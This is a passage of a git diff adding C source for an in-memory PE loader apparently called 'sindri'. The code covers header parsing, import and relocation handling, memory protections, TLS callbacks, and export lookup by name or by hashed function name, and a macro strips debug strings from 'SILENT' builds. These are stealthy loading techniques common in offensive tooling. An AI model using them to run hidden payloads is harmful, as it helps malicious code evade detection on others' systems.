SND_ERR(SND_STATUS_INVALID_PARAMETER); + + if (ctx->stage != SND_STAGE_RELOCATED) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, "Sequence error: Expected %s, got %s", + stage_to_string(SND_STAGE_RELOCATED), stage_to_string(ctx->stage)); + } + + if (ctx->target.virtual_base == NULL) { + return SND_ERR_CTX(SND_STATUS_CORRUPTED_STATE, "State mismatch: Stage is %s but virtual_base is NULL.", + stage_to_string(SND_STAGE_RELOCATED)); + } + + snd_status_t status = snd_pe_resolve_imports(ctx->target.virtual_base, ctx->mod_api, &ctx->pe); + + if (status.code != SND_SUCCESS) { + return status; + } + + ctx->stage = SND_STAGE_IMPORTS_RESOLVED; + + return SND_OK; +} + +snd_status_t snd_apply_memory_protections(snd_loader_ctx_t *ctx) { + if (ctx == NULL) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + if (ctx->stage != SND_STAGE_IMPORTS_RESOLVED) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, "Sequence error: Expected %s, got %s", + stage_to_string(SND_STAGE_IMPORTS_RESOLVED), stage_to_string(ctx->stage)); + } + + if (ctx->target.virtual_base == NULL) { + return SND_ERR_CTX(SND_STATUS_CORRUPTED_STATE, "State mismatch: Stage is %s but virtual_base is NULL.", + stage_to_string(SND_STAGE_IMPORTS_RESOLVED)); + } + + snd_status_t status = engine_pe_apply_memory_protections(ctx->target.virtual_base, &ctx->pe, ctx->mem_api); + if (status.code != SND_SUCCESS) { + return status; + } + + ctx->stage = SND_STAGE_READY_FOR_EXECUTION; + + return SND_OK; +} + +snd_status_t snd_get_entry_point(snd_loader_ctx_t *ctx) { + if (ctx == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + if (ctx->stage < SND_STAGE_READY_FOR_EXECUTION) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, "Sequence error: Expected %s, got %s", + stage_to_string(SND_STAGE_READY_FOR_EXECUTION), stage_to_string(ctx->stage)); + } + + ctx->target.entry_point = snd_pe_get_entry_point(&ctx->pe); + + return SND_OK; +} + +void snd_free_mapped_image(snd_loader_ctx_t *ctx) { + if (ctx != NULL && ctx->target.virtual_base != NULL) { + ctx->mem_api->free(ctx->target.virtual_base, 0, MEM_RELEASE); + + ctx->target.virtual_base = NULL; + ctx->target.allocated_size = 0; + ctx->target.entry_point = NULL; + if (ctx->raw_source != NULL && ctx->raw_source->data != NULL) { + snd_pe_parse(ctx->raw_source, FALSE, &ctx->pe); + ctx->stage = SND_STAGE_PARSED; + } else { + ctx->stage = SND_STAGE_UNINITIALIZED; + } + } +} + +snd_status_t snd_compatibility_check(snd_loader_ctx_t *ctx) { + if (ctx == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + return snd_pe_compatibility_check(ctx->pe.is_64bit) ? SND_OK : SND_ERR(SND_STATUS_ARCH_MISMATCH); +} + +void snd_execute_tls_callbacks(snd_loader_ctx_t *ctx, DWORD reason) { + if (ctx == NULL || ctx->stage < SND_STAGE_READY_FOR_EXECUTION) { + return; + } + + snd_pe_execute_tls_callbacks(ctx->target.virtual_base, &ctx->pe, reason); +} + +snd_status_t snd_get_proc_address(snd_loader_ctx_t *ctx, const char *func_name, FARPROC *func_addr_out) { + if (ctx == NULL) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + if (ctx->stage < SND_STAGE_READY_FOR_EXECUTION) { + return SND_ERR_CTX(SND_STATUS_INVALID_STAGE_SEQUENCE, + "Sequence error: Cannot resolve exports until image " + "is %s. Current state: %s", + stage_to_string(SND_STAGE_READY_FOR_EXECUTION), stage_to_string(ctx->stage)); + } + + return snd_pe_get_export_address(ctx->target.virtual_base, ctx->target.allocated_size, func_name, func_addr_out, + ctx->mod_api->get_module_base); +} diff --git a/src/parsers/pe/pe_exports.c b/src/parsers/pe/pe_exports.c new file mode 100644 index 0000000..b5f79ae --- /dev/null +++ b/src/parsers/pe/pe_exports.c @@ -0,0 +1,231 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +static snd_status_t pe_get_export_address_impl(PVOID base_address, SIZE_T size, const char *func_name, DWORD func_hash, + FARPROC *func_addr_out, PVOID resolver, BOOL is_hash_mode, int depth) { + if (base_address == NULL || func_addr_out == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + if (!is_hash_mode && func_name == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + if (is_hash_mode && func_hash == 0) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + *func_addr_out = NULL; + + snd_buffer_t local_buf; + local_buf.data = (LPVOID)base_address; + local_buf.size = size; + + snd_pe_parser_t local_parser; + snd_status_t parse_status = snd_pe_parse(&local_buf, TRUE, &local_parser); + if (parse_status.code != SND_SUCCESS) { + return parse_status; + } + + SIZE_T image_size = SND_PE_GET_NT_FIELD(&local_parser, OptionalHeader.SizeOfImage); + if (size == SND_SYS_DLL_SIZE_DEFAULT && image_size > size) { + local_parser.source.size = image_size; + } else if (image_size < local_parser.source.size) { + local_parser.source.size = image_size; + } + + IMAGE_DATA_DIRECTORY export_dir = {0}; + snd_pe_get_directory(&local_parser, IMAGE_DIRECTORY_ENTRY_EXPORT, &export_dir); + + if (export_dir.VirtualAddress == 0) { + return SND_ERR_CTX(SND_STATUS_EXPORT_NOT_FOUND, "Module has no export directory."); + } + + PIMAGE_EXPORT_DIRECTORY exp_dir = (PIMAGE_EXPORT_DIRECTORY)snd_pe_rva_to_ptr( + &local_parser, export_dir.VirtualAddress, sizeof(IMAGE_EXPORT_DIRECTORY)); + if (!exp_dir) { + return SND_ERR_CTX(SND_STATUS_EXPORT_DIRECTORY_INVALID, "Invalid export directory memory bounds."); + } + if (exp_dir->NumberOfFunctions == 0) { + return SND_ERR_CTX(SND_STATUS_EXPORT_NOT_FOUND, "Export table is empty."); + } + + DWORD func_rva = 0; + BOOL is_ordinal_lookup = (!is_hash_mode && func_name != NULL && IS_INTRESOURCE(func_name)); + + if (is_ordinal_lookup) { + ULONG_PTR requested_ordinal = (ULONG_PTR)func_name; + ULONG_PTR base_ord = exp_dir->Base; + + if (requested_ordinal < base_ord || requested_ordinal >= base_ord + exp_dir->NumberOfFunctions) { + return SND_ERR_CTX(SND_STATUS_EXPORT_NOT_FOUND, "Export ordinal out of range."); + } + + DWORD func_idx = (DWORD)(requested_ordinal - base_ord); + DWORD *p_func_rva = (DWORD *)snd_pe_rva_to_ptr( + &local_parser, exp_dir->AddressOfFunctions + func_idx * sizeof(DWORD), sizeof(DWORD)); + if (!p_func_rva) { + return SND_ERR_CTX(SND_STATUS_EXPORT_NOT_FOUND, "Export ordinal points to invalid memory."); + } + func_rva = *p_func_rva; + } else { + for (DWORD i = 0; i < exp_dir->NumberOfNames; i++) { + DWORD *p_name_rva = + (DWORD *)snd_pe_rva_to_ptr(&local_parser, exp_dir->AddressOfNames + i * sizeof(DWORD), sizeof(DWORD)); + if (!p_name_rva) + break; + DWORD name_rva = *p_name_rva; + + const char *current_name = (const char *)snd_pe_rva_to_ptr(&local_parser, name_rva, 1); + if (!current_name) + continue; + + SIZE_T name_offset = (SIZE_T)((BYTE *)current_name - (BYTE *)local_parser.source.data); + SIZE_T max_safe_length = local_parser.source.size - name_offset; + + if (snd_strnlen(current_name, max_safe_length) == max_safe_length) + continue; + + if (!is_hash_mode) { + if (snd_strncmp(current_name, func_name, max_safe_length) != 0) + continue; + } else { + if (snd_hash(current_name) != func_hash) + continue; + } + + WORD *p_ordinal = (WORD *)snd_pe_rva_to_ptr( + &local_parser, exp_dir->AddressOfNameOrdinals + i * sizeof(WORD), sizeof(WORD)); + if (!p_ordinal) { + break; + } + WORD ordinal = *p_ordinal; + + if (ordinal >= exp_dir->NumberOfFunctions) { + continue; + } + + DWORD *p_func_rva = (DWORD *)snd_pe_rva_to_ptr( + &local_parser, exp_dir->AddressOfFunctions + ordinal * sizeof(DWORD), sizeof(DWORD)); + if (!p_func_rva) { + continue; + } + func_rva = *p_func_rva; + break; + } + } + + if (func_rva == 0) { + return SND_ERR(SND_STATUS_EXPORT_NOT_FOUND); + } + + if (func_rva >= export_dir.VirtualAddress && func_rva < export_dir.VirtualAddress + export_dir.Size) { + if (resolver == NULL) { + return SND_ERR_CTX(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, "Resolver is NULL."); + } + + if (depth >= SND_FWD_MAX_DEPTH) { + return SND_ERR_CTX(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, "Max export forwarder loop depth exceeded."); + } + + const char *fwd_str = (const char *)snd_pe_rva_to_ptr(&local_parser, func_rva, 1); + if (!fwd_str) + return SND_ERR_CTX(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, "Malformed forwarder string."); + SIZE_T max_fwd = (export_dir.VirtualAddress + export_dir.Size) - func_rva; + + SIZE_T fwd_offset = (SIZE_T)((BYTE *)fwd_str - (BYTE *)local_parser.source.data); + SIZE_T max_available = local_parser.source.size - fwd_offset; + + if (max_fwd > max_available) { + max_fwd = max_available; + } + if (snd_strnlen(fwd_str, max_fwd) >= max_fwd) { + return SND_ERR_CTX(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, "Malformed forwarder string."); + } + + const char *dot = snd_strnchr(fwd_str, '.', max_fwd); + if (!dot) + return SND_ERR_CTX(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, "Forwarder string missing dot separator."); + + SIZE_T pfx_len = (SIZE_T)(dot - fwd_str); + char fwd_dll[MAX_PATH]; + if (pfx_len + 5 >= MAX_PATH) + return SND_ERR_CTX(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED, "Forwarder DLL path exceeds maximum length."); + + for (SIZE_T i = 0; i < pfx_len; i++) { + fwd_dll[i] = fwd_str[i]; + } + fwd_dll[pfx_len] = '\0'; + snd_strncat(fwd_dll, MAX_PATH, ".dll", 4); + + PVOID fwd_base = NULL; + const char *fwd_func = dot + 1; + + if (is_hash_mode) { + DWORD dll_hash = snd_hash_lower(fwd_dll); + snd_module_resolver_hash_cb hash_resolver = (snd_module_resolver_hash_cb)resolver; + + snd_status_t hash_res_status = hash_resolver(dll_hash, &fwd_base); + if (hash_res_status.code != SND_SUCCESS || !fwd_base) + return SND_ERR(SND_STATUS_EXPORT_FORWARDER_UNSUPPORTED); + + if (*fwd_func == '#') { + ULONG_PTR ord = 0; + for (const char *p = fwd_func + 1; *p >= '0' && *p <= '9'; p++) { + ord = ord * 10 + (*p - '0'); + } + return pe_get_export_address_impl(fwd_base, SND_SYS_DLL_SIZE_DEFAULT, (const char *)ord, 0, + func_addr_out, resolver, FALSE, depth + 1); + } + + DWORD fwd_func_hash = snd_hash(fwd_func); + return pe_get_export_address_impl(fwd_base, SND_SYS_DLL_SIZE_DEFAULT, NULL, fwd_func_hash, func_addr_out, + resolver, TRUE, depth + 1); + + } else { + wchar_t wfwd_dll[MAX_PATH]; + for (SIZE_T k = 0; k <= pfx_len + 4; k++) { + wfwd_dll[k] = (wchar_t)(unsigned char)fwd_dll[k]; + } + + snd_module_resolver_cb string_resolver = (snd_module_resolver_cb)resolver; + snd_status_t str_res_status = string_resolver(wfwd_dll, &fwd_base); + if (str_res_status.code != SND_SUCCESS) + return str_res_status; + + if (*fwd_func == '#') { + ULONG_PTR ord = 0; + for (const char *p = fwd_func + 1; *p >= '0' && *p <= '9'; p++) { + ord = ord * 10 + (*p - '0'); + } + return pe_get_export_address_impl(fwd_base, SND_SYS_DLL_SIZE_DEFAULT, (const char *)ord, 0, + func_addr_out, resolver, FALSE, depth + 1); + } + + return pe_get_export_address_impl(fwd_base, SND_SYS_DLL_SIZE_DEFAULT, fwd_func, 0, func_addr_out, resolver, + FALSE, depth + 1); + } + } + + PVOID final_ptr = snd_pe_rva_to_ptr(&local_parser, func_rva, 1); + if (!final_ptr) { + return SND_ERR_CTX(SND_STATUS_EXPORT_DIRECTORY_INVALID, "Export RVA points outside valid image boundaries."); + } + + *func_addr_out = (FARPROC)final_ptr; + return SND_OK; +} + +snd_status_t snd_pe_get_export_address(PVOID base_address, SIZE_T size, const char *func_name, FARPROC *func_addr_out, + snd_module_resolver_cb resolver) { + return pe_get_export_address_impl(base_address, size, func_name, 0, func_addr_out, (PVOID)resolver, FALSE, 0); +} + +snd_status_t snd_pe_get_export_address_by_hash(PVOID base_address, SIZE_T size, DWORD func_hash, FARPROC *func_addr_out, + snd_module_resolver_hash_cb resolver) { + return pe_get_export_address_impl(base_address, size, NULL, func_hash, func_addr_out, (PVOID)resolver, TRUE, 0); +} diff --git a/src/parsers/pe/pe_imports.c b/src/parsers/pe/pe_imports.c new file mode 100644 index 0000000..3826c70 --- /dev/null +++ b/src/parsers/pe/pe_imports.c @@ -0,0 +1,141 @@ +#include "sindri/common/status.h" + +#include +#include +#include +#include +#include +#include + +snd_status_t snd_pe_resolve_imports(PVOID base_address, const snd_module_api_t *mod_api, + const snd_pe_parser_t *parser) { + if (!base_address || !mod_api || !mod_api->load_library || !mod_api->get_proc_address || !parser) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + if (parser->imports_rva == 0) { + return SND_OK; + } + + if (!parser->is_mapped) { + return SND_ERR_CTX(SND_STATUS_INVALID_PARAMETER, "Imports can only be resolved on mapped images."); + } + + DWORD current_descriptor_rva = parser->imports_rva; + SIZE_T thunk_stride = parser->is_64bit ? sizeof(IMAGE_THUNK_DATA64) : sizeof(IMAGE_THUNK_DATA32); + + while (1) { + PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)snd_pe_rva_to_ptr(parser, current_descriptor_rva, + sizeof(IMAGE_IMPORT_DESCRIPTOR)); + if (!imp) { + return SND_ERR(SND_STATUS_IMPORT_DIRECTORY_INVALID); + } + + if (imp->Name == 0 && imp->FirstThunk == 0) { + break; + } + + if (imp->Name == 0) { + current_descriptor_rva += sizeof(IMAGE_IMPORT_DESCRIPTOR); + continue; + } + + char *dll_name = (char *)snd_pe_rva_to_ptr(parser, imp->Name, 1); + if (!dll_name) { + return SND_ERR(SND_STATUS_IMPORT_DIRECTORY_INVALID); + } + + SIZE_T dll_p_offset = (SIZE_T)((BYTE *)dll_name - (BYTE *)parser->source.data); + size_t max_dll_name_len = parser->source.size - dll_p_offset; + if (snd_strnlen(dll_name, max_dll_name_len) == max_dll_name_len) { + return SND_ERR(SND_STATUS_IMPORT_DIRECTORY_INVALID); + } + + HMODULE h_dll = NULL; + snd_status_t load_status = mod_api->load_library(dll_name, &h_dll); + if (load_status.code != SND_SUCCESS || !h_dll) { + if (!snd_pe_compatibility_check(parser->is_64bit)) { + return SND_ERR_CTX(SND_STATUS_IMPORT_DLL_LOAD_FAILED, + "Failed to load imported DLL: '%s' (If using winapi, arch mismatch " + "is the culprit, try native strategy instead)", + dll_name); + } + return SND_ERR_CTX(SND_STATUS_IMPORT_DLL_LOAD_FAILED, "Failed to load imported DLL: '%s'", dll_name); + } + + DWORD original_thunk_rva = imp->OriginalFirstThunk ? imp->OriginalFirstThunk : imp->FirstThunk; + if (original_thunk_rva == 0 || imp->FirstThunk == 0) { + current_descriptor_rva += sizeof(IMAGE_IMPORT_DESCRIPTOR); + continue; + } + + SIZE_T max_thunks = (SIZE_T)-1; + + SIZE_T resolved = 0; + for (; resolved < max_thunks; resolved++) { + SIZE_T current_offset = resolved * thunk_stride; + DWORD org_rva = original_thunk_rva + (DWORD)current_offset; + DWORD first_rva = imp->FirstThunk + (DWORD)current_offset; + + PVOID org_thunk_ptr = snd_pe_rva_to_ptr(parser, org_rva, thunk_stride); + PVOID first_thunk_ptr = snd_pe_rva_to_ptr(parser, first_rva, thunk_stride); + + if (!org_thunk_ptr || !first_thunk_ptr) { + return SND_ERR(SND_STATUS_IMPORT_THUNK_INVALID); + } + + ULONGLONG thunk_val = 0; + BOOL is_ordinal = FALSE; + + if (parser->is_64bit) { + thunk_val = ((PIMAGE_THUNK_DATA64)org_thunk_ptr)->u1.AddressOfData; + is_ordinal = SND_PE_SNAP_BY_ORDINAL64(thunk_val) ? TRUE : FALSE; + } else { + thunk_val = ((PIMAGE_THUNK_DATA32)org_thunk_ptr)->u1.AddressOfData; + is_ordinal = SND_PE_SNAP_BY_ORDINAL32(thunk_val) ? TRUE : FALSE; + } + + if (thunk_val == 0) + break; + + FARPROC func_addr = NULL; + if (is_ordinal) { + ULONG_PTR ordinal = SND_PE_ORDINAL(thunk_val); + mod_api->get_proc_address(h_dll, (LPCSTR)ordinal, &func_addr); + } else { + DWORD import_by_name_rva = (DWORD)thunk_val; + + PIMAGE_IMPORT_BY_NAME func = + (PIMAGE_IMPORT_BY_NAME)snd_pe_rva_to_ptr(parser, import_by_name_rva, sizeof(IMAGE_IMPORT_BY_NAME)); + if (!func) { + if (imp->OriginalFirstThunk == 0) { + break; + } + return SND_ERR(SND_STATUS_IMPORT_THUNK_INVALID); + } + + SIZE_T func_p_offset = (SIZE_T)((BYTE *)func->Name - (BYTE *)parser->source.data); + size_t max_func_name_len = parser->source.size - func_p_offset; + + if (snd_strnlen((char *)func->Name, max_func_name_len) == max_func_name_len) { + return SND_ERR(SND_STATUS_IMPORT_THUNK_INVALID); + } + + snd_status_t status = mod_api->get_proc_address(h_dll, (LPCSTR)func->Name, &func_addr); + if (status.code != SND_SUCCESS) { + return status; + } + } + + if (parser->is_64bit) { + ((PIMAGE_THUNK_DATA64)first_thunk_ptr)->u1.Function = (ULONGLONG)func_addr; + } else { + ((PIMAGE_THUNK_DATA32)first_thunk_ptr)->u1.Function = (DWORD)(ULONG_PTR)func_addr; + } + } + + current_descriptor_rva += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + return SND_OK; +} diff --git a/src/parsers/pe/pe_parser.c b/src/parsers/pe/pe_parser.c new file mode 100644 index 0000000..5113af2 --- /dev/null +++ b/src/parsers/pe/pe_parser.c @@ -0,0 +1,107 @@ +#include +#include +#include +#include +#include +#include + +snd_status_t snd_pe_parse(const snd_buffer_t *buf, BOOL is_mapped, snd_pe_parser_t *parser) { + if (buf == NULL || buf->data == NULL || buf->size == 0 || parser == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + snd_memzero(parser, sizeof(snd_pe_parser_t)); + + parser->source = *buf; + parser->is_mapped = is_mapped; + + if (!snd_buffer_bounds_check(buf, 0, sizeof(IMAGE_DOS_HEADER))) { + return SND_ERR(SND_STATUS_DOS_HEADER_TRUNCATED); + } + + parser->dos = (PIMAGE_DOS_HEADER)buf->data; + if (parser->dos->e_magic != IMAGE_DOS_SIGNATURE) { + return SND_ERR(SND_STATUS_INVALID_DOS_SIGNATURE); + } + + if (parser->dos->e_lfanew < 0) { + return SND_ERR(SND_STATUS_INVALID_NT_HEADER_OFFSET); + } + + SIZE_T nt_off = (SIZE_T)parser->dos->e_lfanew; + SIZE_T req_magic_size = sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + sizeof(WORD); + if (!snd_buffer_bounds_check(buf, nt_off, req_magic_size)) { + return SND_ERR(SND_STATUS_NT_HEADERS_TRUNCATED); + } + + PIMAGE_NT_HEADERS32 nt_chk = (PIMAGE_NT_HEADERS32)SND_PTR_ADD(buf->data, nt_off); + if (nt_chk->Signature != IMAGE_NT_SIGNATURE) { + return SND_ERR(SND_STATUS_INVALID_NT_SIGNATURE); + } + + WORD optional_magic = nt_chk->OptionalHeader.Magic; + SIZE_T required_nt_size = sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER); + + if (optional_magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { + required_nt_size += offsetof(IMAGE_OPTIONAL_HEADER64, DataDirectory); + if (!snd_buffer_bounds_check(buf, nt_off, required_nt_size)) { + return SND_ERR(SND_STATUS_NT_HEADERS_TRUNCATED); + } + parser->is_64bit = TRUE; + parser->nt.nt64 = (PIMAGE_NT_HEADERS64)nt_chk; + parser->is_dll = (parser->nt.nt64->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; + parser->sections_count = parser->nt.nt64->FileHeader.NumberOfSections; + } else if (optional_magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) { + required_nt_size += offsetof(IMAGE_OPTIONAL_HEADER32, DataDirectory); + if (!snd_buffer_bounds_check(buf, nt_off, required_nt_size)) { + return SND_ERR(SND_STATUS_NT_HEADERS_TRUNCATED); + } + parser->is_64bit = FALSE; + parser->nt.nt32 = nt_chk; + parser->is_dll = (parser->nt.nt32->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; + parser->sections_count = parser->nt.nt32->FileHeader.NumberOfSections; + } else { + return SND_ERR(SND_STATUS_UNSUPPORTED_OPTIONAL_HEADER_MAGIC); + } + + SIZE_T fixed_headers_size = offsetof(IMAGE_NT_HEADERS32, OptionalHeader); + WORD opt_header_size = SND_PE_GET_NT_FIELD(parser, FileHeader.SizeOfOptionalHeader); + + if (fixed_headers_size + opt_header_size > buf->size || + nt_off > buf->size - (fixed_headers_size + opt_header_size)) { + parser->sections_count = 0; + parser->section_head = NULL; + } else { + SIZE_T section_table_off = nt_off + fixed_headers_size + opt_header_size; + SIZE_T available_space = buf->size - section_table_off; + DWORD max_sections = (DWORD)(available_space / sizeof(IMAGE_SECTION_HEADER)); + if (parser->sections_count > max_sections) { + parser->sections_count = max_sections; + } + parser->section_head = (PIMAGE_SECTION_HEADER)SND_PTR_ADD(buf->data, section_table_off); + } + + if (!is_mapped) { + DWORD symbol_table_off = SND_PE_GET_NT_FIELD(parser, FileHeader.PointerToSymbolTable); + DWORD symbol_count = SND_PE_GET_NT_FIELD(parser, FileHeader.NumberOfSymbols); + if (symbol_table_off != 0 && symbol_count != 0) { + ULONGLONG string_table_off = + (ULONGLONG)symbol_table_off + (ULONGLONG)IMAGE_SIZEOF_SYMBOL * (ULONGLONG)symbol_count; + if (snd_bounds_check(buf->size, (SIZE_T)string_table_off, sizeof(DWORD))) { + parser->string_table = SND_PTR_ADD(buf->data, (SIZE_T)string_table_off); + } + } + } + + IMAGE_DATA_DIRECTORY import_dir = {0}; + snd_pe_get_directory(parser, IMAGE_DIRECTORY_ENTRY_IMPORT, &import_dir); + parser->imports_rva = import_dir.VirtualAddress; + parser->import_size = import_dir.Size; + + if (parser->imports_rva == 0) { + parser->import_size = 0; + return SND_OK; + } + + return SND_OK; +} diff --git a/src/parsers/pe/pe_relocations.c b/src/parsers/pe/pe_relocations.c new file mode 100644 index 0000000..2a458ae --- /dev/null +++ b/src/parsers/pe/pe_relocations.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +snd_status_t snd_pe_apply_relocations(PVOID base_address, LONG_PTR delta_offset, const snd_pe_parser_t *parser) { + if (base_address == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + if (!parser || !parser->is_mapped) { + return SND_ERR_CTX(SND_STATUS_INVALID_PARAMETER, "Relocations can only be applied to mapped images."); + } + + if (delta_offset == 0) { + return SND_OK; + } + + IMAGE_DATA_DIRECTORY reloc_dir = {0}; + snd_pe_get_directory(parser, IMAGE_DIRECTORY_ENTRY_BASERELOC, &reloc_dir); + + BOOL relocs_stripped = (SND_PE_GET_NT_FIELD(parser, FileHeader.Characteristics) & IMAGE_FILE_RELOCS_STRIPPED) != 0; + + if (reloc_dir.VirtualAddress == 0 || reloc_dir.Size == 0 || relocs_stripped) { + return SND_ERR_CTX(SND_STATUS_RELOCATION_DIRECTORY_INVALID, + "Payload cannot be relocated (no relocations or RELOCS_STRIPPED) but " + "was mapped at a dynamic base address."); + } + + if (reloc_dir.Size < sizeof(IMAGE_BASE_RELOCATION)) { + return SND_ERR(SND_STATUS_RELOCATION_DIRECTORY_INVALID); + } + + PIMAGE_BASE_RELOCATION reloc = + (PIMAGE_BASE_RELOCATION)snd_pe_rva_to_ptr(parser, reloc_dir.VirtualAddress, sizeof(IMAGE_BASE_RELOCATION)); + if (!reloc) { + return SND_ERR(SND_STATUS_RELOCATION_DIRECTORY_INVALID); + } + + SIZE_T cursor = reloc_dir.VirtualAddress; + SIZE_T end = cursor + reloc_dir.Size; + + while (cursor + sizeof(IMAGE_BASE_RELOCATION) <= end) { + reloc = (PIMAGE_BASE_RELOCATION)snd_pe_rva_to_ptr(parser, (DWORD)cursor, sizeof(IMAGE_BASE_RELOCATION)); + if (!reloc) + break; + + if (reloc->SizeOfBlock == 0) { + break; + } + + if (reloc->SizeOfBlock < sizeof(IMAGE_BASE_RELOCATION) || reloc->SizeOfBlock > end - cursor) { + break; + } + + if (!snd_pe_rva_to_ptr(parser, (DWORD)cursor, reloc->SizeOfBlock)) { + return SND_ERR(SND_STATUS_RELOCATION_DIRECTORY_INVALID); + } + + WORD *entries = (WORD *)SND_PTR_ADD(reloc, sizeof(IMAGE_BASE_RELOCATION)); + DWORD entries_count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + + for (DWORD i = 0; i < entries_count; i++) { + WORD entry = entries[i]; + WORD type = entry >> 12; + WORD offset = entry & 0x0FFF; + SIZE_T patch_offset = (SIZE_T)reloc->VirtualAddress + (SIZE_T)offset; + + if (type == IMAGE_REL_BASED_ABSOLUTE) { + continue; + } + + if (type == IMAGE_REL_BASED_HIGHLOW) { + if (!snd_pe_rva_to_ptr(parser, (DWORD)patch_offset, sizeof(DWORD))) { + return SND_ERR(SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE); + } + *(DWORD *)SND_PTR_ADD(base_address, patch_offset) += (DWORD)delta_offset; + } else if (type == IMAGE_REL_BASED_DIR64) { + if (!snd_pe_rva_to_ptr(parser, (DWORD)patch_offset, sizeof(ULONGLONG))) { + return SND_ERR(SND_STATUS_RELOCATION_PATCH_OUT_OF_RANGE); + } + *(ULONGLONG *)SND_PTR_ADD(base_address, patch_offset) += (ULONGLONG)delta_offset; + } else { + return SND_ERR_CTX(SND_STATUS_RELOCATION_TYPE_UNSUPPORTED, "Unsupported relocation type: %d", type); + } + } + + cursor += reloc->SizeOfBlock; + } + + return SND_OK; +} diff --git a/src/parsers/pe/pe_section_utils.c b/src/parsers/pe/pe_section_utils.c new file mode 100644 index 0000000..3ce95f3 --- /dev/null +++ b/src/parsers/pe/pe_section_utils.c @@ -0,0 +1,92 @@ +#include "pe_section_utils.h" + +#include +#include + +/** + * @brief Parses an ASCII base-10 string table offset value from a COFF section + * name. Replaces standard strtoul. + */ +static DWORD parse_string_table_offset(const IMAGE_SECTION_HEADER *section) { + DWORD offset = 0; + + for (int i = 1; i < IMAGE_SIZEOF_SHORT_NAME; i++) { + char c = (char)section->Name[i]; + if (c >= '0' && c <= '9') { + if (offset > (0xFFFFFFFF / 10)) { + return 0; + } + offset = (offset * 10) + (DWORD)(c - '0'); + } else if (c == '\0') { + break; + } else { + return 0; + } + } + return offset; +} + +void snd_i_section_name(const snd_pe_parser_t *parser, const IMAGE_SECTION_HEADER *section, char *name_buffer, + size_t buffer_size) { + if (parser == NULL || section == NULL || name_buffer == NULL || buffer_size == 0) { + if (name_buffer && buffer_size > 0) { + name_buffer[0] = '\0'; + } + return; + } + + name_buffer[0] = '\0'; + + if (section->Name[0] != '/') { + size_t actual_len = 0; + while (actual_len < IMAGE_SIZEOF_SHORT_NAME && section->Name[actual_len] != '\0') { + actual_len++; + } + + size_t copy_len = (buffer_size - 1 < actual_len) ? buffer_size - 1 : actual_len; + snd_memcpy(name_buffer, section->Name, copy_len); + name_buffer[copy_len] = '\0'; + return; + } + + if (parser->string_table == NULL) { + snd_strncpy(name_buffer, buffer_size, SND_FALLBACK_STR("Unknown Section"), 15); + return; + } + + SIZE_T table_ptr_offset = (SIZE_T)(parser->string_table - (BYTE *)parser->source.data); + if (table_ptr_offset >= parser->source.size) { + snd_strncpy(name_buffer, buffer_size, SND_FALLBACK_STR("Corrupt Section"), 15); + return; + } + + SIZE_T max_available = parser->source.size - table_ptr_offset; + if (max_available < sizeof(DWORD)) { + snd_strncpy(name_buffer, buffer_size, SND_FALLBACK_STR("Corrupt Section"), 15); + return; + } + + DWORD claimed_table_size = 0; + snd_memcpy(&claimed_table_size, parser->string_table, sizeof(DWORD)); + + if (claimed_table_size > max_available) { + claimed_table_size = (DWORD)max_available; + } + + unsigned long offset = parse_string_table_offset(section); + + if (offset < 4 || offset >= claimed_table_size) { + snd_strncpy(name_buffer, buffer_size, SND_FALLBACK_STR("Corrupt Section"), 15); + return; + } + + const char *str_ptr = (const char *)(parser->string_table + offset); + size_t max_safe_len = claimed_table_size - offset; + + if (snd_strnlen(str_ptr, max_safe_len) == max_safe_len) { + snd_strncpy(name_buffer, buffer_size, SND_FALLBACK_STR("Corrupt Section"), 15); + return; + } + + snd_strncpy(name_buffer, buffer_size, str_ptr, max_safe_len); +} diff --git a/src/parsers/pe/pe_section_utils.h b/src/parsers/pe/pe_section_utils.h new file mode 100644 index 0000000..08285dc --- /dev/null +++ b/src/parsers/pe/pe_section_utils.h @@ -0,0 +1,44 @@ +#ifndef SND_INTERNAL_PE_SECTION_UTILS_H +#define SND_INTERNAL_PE_SECTION_UTILS_H + +#include +#include +#include + +/* * Macro block to strip diagnostic error string literals out of the .rdata + * section entirely when compiling for the production/SILENT tier. + */ +#if SND_DEBUG +#define SND_FALLBACK_STR(debug_str) debug_str +#else +#define SND_FALLBACK_STR(debug_str) "" +#endif + +/** + * @brief Retrieves the name of a PE section safely, resolving COFF string + * tables if needed. + * @note Internal engine use only. + */ +void snd_i_section_name(const snd_pe_parser_t *parser, const IMAGE_SECTION_HEADER *section, char *name_buffer, + size_t buffer_size); + +/** + * @brief Calculates the exact size to copy from raw file to virtual memory. + * @note Internal engine use only. + */ +SND_FORCE_INLINE DWORD snd_i_section_copy_size(const 